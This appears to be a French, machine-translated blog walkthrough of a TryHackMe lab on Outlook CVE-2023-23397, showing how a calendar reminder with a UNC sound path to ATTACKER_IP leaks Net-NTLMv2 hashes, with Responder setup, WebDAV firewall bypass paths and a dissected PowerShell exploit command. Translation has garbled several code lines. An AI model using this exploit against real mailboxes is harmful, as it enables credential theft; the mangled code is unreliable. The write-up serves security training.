Nous avons couvert la récente vulnérabilité NTLM de Microsoft Outlook CVE-2023-23397 qui pourrait entraîner une fuite de hachage NTLM en cas de succès. Nous avons également couvert un scénario de démonstration en plus de l'atténuation et de la détection. Cela faisait partie de Fuite NTLM de TryHackMe Outlook.

Obtenir des notes OSCP

Le mardi 14 mars, Microsoft a publié 83 correctifs de sécurité dans le cadre du Patch Tuesday, dont CVE-2023-23397. Cette vulnérabilité critique affecte toutes les versions de l'application de bureau Outlook sur n'importe quel système Windows. L'application Web Outlook (OWA) et Microsoft 365 ne sont pas vulnérables car ils ne prennent pas en charge NTLM authentification.

Contrairement à la plupart des exploits, celui-ci est particulièrement dangereux car il s’agit d’un exploit sans clic, ce qui signifie qu’aucune interaction de l’utilisateur n’est requise pour le déclencher. Une fois qu'un e-mail infecté arrive dans la boîte de réception de l'utilisateur, l'attaquant peut obtenir des hachages d'informations d'identification Net-NTLMv2 sensibles. Une fois que les acteurs malveillants disposent de ces hachages, ils peuvent obtenir les informations d'identification d'un utilisateur, s'authentifier sur son système et élever ses privilèges.

Pour exploiter cette vulnérabilité, un attaquant doit créer une invitation de calendrier malveillante qui inclut une référence à un fichier son pointant vers un fichier dans un partage réseau sur la machine de l'attaquant. A bas niveau, un email Outlook stocke la référence au fichier son dans un paramètre interne appelé PidLidReminderFileParameter. Pour garantir que l'audio que nous intégrons dans notre e-mail malveillant aura priorité sur les configurations de rappel par défaut de la victime, nous devrons également définir un autre paramètre appelé PidLidReminderOverride à vrai.

Pour configurer le PidLidReminderFileParameter propriété pour pointer vers un partage réseau, l'attaquant peut spécifier un Convention de dénomination universelle (UNC) chemin au lieu d’un fichier local. UNC est utilisé dans les systèmes d'exploitation Windows pour rechercher des ressources réseau (fichiers, imprimantes, documents partagés). Ces chemins sont constitués d'une double barre oblique inverse, de l'adresse IP ou du nom de l'ordinateur hébergeant la ressource, du nom du partage et du nom du fichier. Par exemple:

\\ATTACKER_IP\foo\bar.wav

Lorsque la victime reçoit l'e-mail malveillant, le chemin UNC la dirige vers cet PME partager, déclenchant la vulnérabilité. Cela amène le système à démarrer un processus d'authentification NTLM sur la machine de l'attaquant, libérant ainsi un hachage Net-NTLMv2 que l'attaquant peut ensuite tenter de pirater.

Si pour une raison quelconque le PME Le protocole n'est pas une alternative viable à utiliser, les versions non serveur de Windows accepteront l'utilisation de chemins UNC pointant vers les ports 80 ou 443 et utiliseront HTTP pour récupérer le fichier à partir d'un serveur Web compatible WebDAV. La syntaxe d'un tel chemin UNC est la suivante :

\\ATTACKER_IP@80\foo\bar.wav

\\ATTACKER_IP@443\foo\bar.wav

Cela peut être utile pour contourner les restrictions du pare-feu empêchant les connexions sortantes vers le port 445 (PME).

Configuration du répondeur

Puisque nous nous attendons à ce que la victime déclenche une tentative d'authentification contre l'attaquant sur le port 445, nous allons configurer Responder pour gérer le processus d'authentification et capturer le hachage NetNTLM pour nous. Si vous n'êtes pas familier avec Responder, il émulera simplement un PME serveur et capturer toute tentative d’authentification à son encontre.

Pour lancer Responder pour écouter les tentatives d'authentification dans votre ens5 interface, vous pouvez simplement exécuter la commande suivante dans votre AttackBox :

Boîte d'attaque
racine@attaquebox$ répondeur -I ens5

Nous sommes désormais prêts à déclencher une tentative d'authentification via la vulnérabilité Outlook.

Tentative d'organiser un rendez-vous malveillant

Dans un premier temps, nous pourrions créer manuellement un rendez-vous et modifier le chemin d'accès au fichier son du rappel pour pointer vers un dossier partagé. Pour créer un rendez-vous, vous devrez d'abord cliquer sur le calendrier puis sur le bouton Nouveau rendez-vous de la barre des tâches.

Nous créerons un rendez-vous qui comprendra un rappel réglé sur 0 minute afin qu'il se déclenche juste après que la victime le reçoive. Nous cliquerons également sur l'option Son pour configurer le fichier son du rappel

Nous pouvons essayer de définir le chemin du fichier son sur un chemin UNC qui pointe vers notre AttackBox et cliquer sur le bouton OK.

Cependant, Outlook ignorera silencieusement le chemin UNC et reviendra à l'utilisation du fichier WAV par défaut, ce qui peut être confirmé en revenant à la boîte de dialogue Son.

Étant donné qu'Outlook ne s'attend pas à ce que les utilisateurs saisissent un chemin UNC ici, il rejette probablement notre tentative comme sortie non valide. Mais tout espoir n’est pas perdu !

OutlookSpy à la rescousse

Même si Outlook ne peut pas définir le fichier son du rappel sur un chemin UNC, nous pouvons utiliser le plugin OutlookSpy pour y parvenir. Ce plugin vous permettra d'accéder directement à tous les paramètres internes d'Outlook, y compris le fichier son du rappel.

Vous pouvez trouver le programme d'installation d'OutlookSpy sur le bureau de votre ordinateur. Vous devrez l'installer manuellement avant de continuer. Assurez-vous de fermer Outlook avant d'exécuter le programme d'installation.

Pour afficher notre rendez-vous actuel depuis OutlookSpy, cliquez sur le OutlookEspion l'onglet puis l'onglet Article actuel bouton dans la barre des tâches :

Remarque : assurez-vous de cliquer sur le bouton CurrentItem à partir du rendez-vous, sinon vous pourriez modifier différents composants Outlook.

Depuis cette fenêtre, vous pouvez voir les paramètres associés au rappel du rendez-vous. Nous voulons définir le RappelSoundFile paramètre au chemin UNC qui pointe vers notre AttackBox et définissez à la fois le ReminderOverrideDefault et RappelJouerSon à vrai. Juste pour référence, voici ce que fait chaque paramètre :

  • RappelPlaySound : valeur booléenne qui indique si un son sera joué avec le rappel.
  • ReminderOverrideDefault: valeur booléenne qui indique au client Outlook récepteur de jouer le son pointé par RappelSoundFile, au lieu de celui par défaut.
  • RappelSoundFile: chaîne avec le chemin d'accès au fichier son à utiliser. Pour notre exploit, cela pointera vers un faux dossier partagé dans notre AttackBox.

Nous pouvons utiliser l'onglet script et le script suivant pour modifier les paramètres aux valeurs requises

Assurez-vous de cliquer sur le Courir pour que les modifications soient appliquées. Vous pouvez retourner au Propriétés pour vérifier que les valeurs ont été correctement modifiées. Enfin, enregistrez votre rendez-vous pour l'ajouter à votre calendrier, en vous assurant que le rappel est réglé sur 0 minute et que le rendez-vous correspond à l'heure et à la date actuelles, car nous voulons qu'il se déclenche immédiatement.

Si tout s'est déroulé comme prévu, vous devriez immédiatement voir un rappel apparaître

Et vous devriez recevoir la tentative d'authentification dans votre console Responder sur votre AttackBox

Exploitation

En résumant les étapes requises pour exploiter la vulnérabilité, un attaquant devrait :

  1. Créez une réunion/un rendez-vous malveillant avec un son de rappel personnalisé pointant vers un chemin UNC sur la machine de l'attaquant.
  2. Envoyez l'invitation à la victime par e-mail.
  3. Attendez que le rappel déclenche une connexion contre la machine de l'attaquant.
  4. Capturez le hachage Net-NTLMv2, utilisez le relais d'authentification ou profitez de toute autre manière.

Les étapes 3 et 4 sont déjà couvertes pour nous par Répondeur, mais créer à la main le rendez-vous malveillant est un peu fastidieux. Heureusement, quelques exploits sont facilement disponibles pour nous permettre de créer et d'envoyer un rendez-vous malveillant.

Dans cette tâche, nous examinerons l'exploit publié par Oddvar Moé, qui est probablement le plus simple à comprendre et à utiliser. Cet exploit Powershell exploite les objets COM d'Outlook pour créer facilement des e-mails et des rendez-vous. Il contient quelques fonctions que nous pouvons utiliser :

  • Enregistrer le calendrierNTLMLeak : Cette fonction crée un rendez-vous malveillant et l'enregistre dans votre propre calendrier. Utile à des fins de tests.
  • Envoyer-CalendarNTLMLeak : Cette fonction crée un rendez-vous malveillant et l'envoie par email à une victime. L'invitation par courrier électronique sera envoyée à partir du compte par défaut actuel de votre Outlook.

Disséquer le code de l'exploit

Les deux créeront un rendez-vous de la même manière, nous allons donc expliquer le Enregistrer-CalendrierNTLMLeak seulement.

Tout d’abord, nous allons instancier un objet « Outlook.Application » et créer un rendez-vous.

$Perspectives = Nouvel objet -comObject Outlook.Application
$nouveaucal = $outlook.Créer un élément('olAppointmentItem')

Les paramètres habituels d'un rendez-vous seront fixés. Ceux-ci incluent les destinataires, le sujet de la réunion, le lieu, le corps et les dates de début et de fin. L'exploit définit le jour de début à l'heure actuelle afin que le rappel soit déclenché immédiatement :

$nouveaucal.Destinataires.ajouter($récipiendaire)
$nouveaucal.Statut de la réunion = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olRéunion
$nouveaucal.Sujet = $réunionsujet
$nouveaucal.Localisation = "Virtuel"
$nouveaucal.Corps = $corps de réunion
$nouveaucal.Commencer = avoir un rendez-vous
$nouveaucal.Fin = (avoir un rendez-vous).Ajouter des heures(2)

Les paramètres supplémentaires suivants seront configurés pour pointer le fichier son du rappel vers le serveur de l'attaquant, comme expliqué précédemment :

$nouveaucal.RappelSoundFile = $remotefilepath
$nouveaucal.RappelOverrideDefault = 1
$nouveaucal.RappelSet = 1
$nouveaucal.RappelPlaysound = 1

Enfin, le rendez-vous sera envoyé au destinataire par email :

$nouveaucal.envoyer()

Utilisation de l'exploit

Vous pouvez importer les fonctions de l'exploit avec la cmdlet Import-Module. Après cela, les deux fonctions seront disponibles dans votre Powershell actuel. Pour envoyer un email avec un rendez-vous malveillant, vous pouvez simplement exécuter la commande suivante :

PowerShell
PS C:\> cd C:\Users\Administrator\Desktop\ PS C:\Users\Administrator\Desktop\> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\Administrator\Desktop\> Envoyer -CalendarNTLMLeak -recipient "test@thm.loc" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "THM Meeting" -meetingbody "Ceci est juste une invitation à une réunion ordinaire :)"

Assurez-vous de remplacer ATTACKER_IP par l'adresse IP de votre AttackBox dans le champ -chemin de fichier distant paramètre. Notez que vous utilisez l'exploit pour vous envoyer un e-mail dans ce cas, car nous n'avons qu'un seul compte sur la machine, mais normalement vous cibleriez d'autres adresses e-mail.

Étant donné que l'exploit utilise l'instance Outlook actuelle pour envoyer l'e-mail, vous recevrez probablement quelques alertes vous demandant d'autoriser le script à envoyer des e-mails en votre nom. Assurez-vous d'appuyer sur Autoriser autant de fois que nécessaire. Cocher la case « Autoriser l'accès pendant 10 minutes » devrait également contribuer à accélérer ce processus.

Vidéo pas à pas

A propos de l'Auteur

Je crée des notes de cybersécurité, des notes de marketing numérique et des cours en ligne. Je fournis également des conseils en marketing numérique, y compris, mais sans s'y limiter, le référencement, les publicités Google et Meta et l'administration CRM.

Voir les Articles